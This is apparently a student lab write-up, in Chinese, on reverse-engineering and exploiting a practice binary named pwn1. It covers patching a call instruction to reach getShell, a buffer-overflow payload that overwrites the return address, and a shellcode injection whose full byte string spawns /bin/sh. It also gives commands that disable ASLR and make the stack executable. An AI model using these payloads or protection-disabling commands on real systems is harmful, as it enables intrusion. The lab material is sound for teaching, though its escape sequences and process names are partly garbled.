zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165324 Exp1:PC平台逆向破解

    2018-2019-2 网络对抗技术 20165324 Exp1:PC平台逆向破解

    实验:

    要求:

    1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
    2. 掌握反汇编与十六进制编程器 (0.5分)
    3. 能正确修改机器指令改变程序执行流程(0.5分)
    4. 能正确构造payload进行bof攻击(0.5分)

    内容:

    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    3. 注入一个自己制作的shellcode并运行这段shellcode

    基础知识:

    • 掌握汇编指令的机器码:
      1. NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
      2. JNE:条件转移指令,如果不相等则跳转。(机器码:75)
      3. JE:条件转移指令,如果相等则跳转。(机器码:74)
      4. JMP:无条件转移指令。段内直接短转Jmp
      5. short(机器码:EB)段内直接近转移Jmp
      6. near(机器码:E9)段内间接转移Jmp
      7. word(机器码:FF)段间直接(远)转移Jmp
      8. far(机器码:EA)
      9. CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    实验1.1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    • objdump -d pwn1命令进行反汇编:

    1. 查看main:call 8048491 <foo>是汇编指令,这条指令将调用位于地址8048491处的foo函数;其对应机器指令为e8 d7ffffff,e8即跳转之意
      本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41,41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491这个值,
      main函数调用foo,对应机器指令为e8 d7ffffff,
      那我们想让它调用getShell,只要修改d7ffffff为getShell-80484ba对应的补码就行
    2. 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff:
    • 修改可执行文件:
    1. vim pwn1
    2. esc->:%!xxd 将显示模式切换为16进制模式
    3. 修改d7为c3

    1. :%!xxd -r 转换16进制为原格式
    2. :wq 存盘退出vim
    3. objdump -d pwn1命令反汇编看一下,call指令是否正确调用getShell:

    • 运行pwn1文件:./pwn1可得:

    实验1.2:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 我们的目标是触发函数getShell
      该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞
    • 函数foo中的mov(804849a)读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
    • 函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
    • getShell的内存地址,通过反汇编时可以看到,即0804847d,接下来要输入字节序,11111111222222223333333344444444x7dx84x04x08。
    • 关于Perl:Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。使用输出重定向“>”将perl生成的字符串存储到文件input中。

    • 然后将input的输入,通过管道符“|”,作为pwn2的输入。

    实验1.3:注入一个自己制作的shellcode并运行这段shellcode

    准备条件:以下实践是在非常简单的一个预设条件下完成的:

    1. 关闭堆栈保护(gcc -fno-stack-protector)
    2. 关闭堆栈执行保护(execstack -s)
    3. 关闭地址随机化(/proc/sys/kernel/randomize_va_space=0)
    4. 在x32环境下
    5. 在Linux实践环境
    
    • 因此修改设置如下:
    apt-get install execstack //安装execstack命令
    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
    

    构建input_shellcode

    • 使用命令perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode注入,其中前面32个A用来填满缓冲区buf,x04x03x02x01为预留的返回地址.

    寻找进程号和返回地址:

    • 打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1
      再开另外一个终端Ctrl+Shift+T,用gdb来调试pwn3这个进程:
      ps -ef | grep pwn3命令找到pwn3的进程号是5885。
    • gdb命令启动gdb调试这个进程:
      1. attach 5885;
      2. disassemble foo命令反汇编,通过设置断点,来查看注入buf的内存地址;
      3. break *0x080484ae命令设置断点,输入c命令(continue)继续运行,同时在pwn3进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址;
      4. x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容;
      5. 注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xdffff21c + 0x00000004 = 0xdffff220;
      6. 退出gdb

  • 相关阅读:
    C++中合并两个排行榜的思路
    C++函数类型以及函数表实验
    C++获取两个值的差距比
    windows下的bash工具:winbash
    导入sql文件提示2006错误的解决办法
    C++延迟delete对象方案:采用unique_ptr托管欲删除的对象指针
    C++使用lower_bound快速查询分段配置
    sqlserver数据库操作
    判断 iframe 是否加载完成的完美方法
    SQL数据缓存依赖 [SqlServer | Cache | SqlCacheDependency ]
  • 原文地址:https://www.cnblogs.com/20165324hcj/p/10507357.html
Copyright © 2011-2022 走看看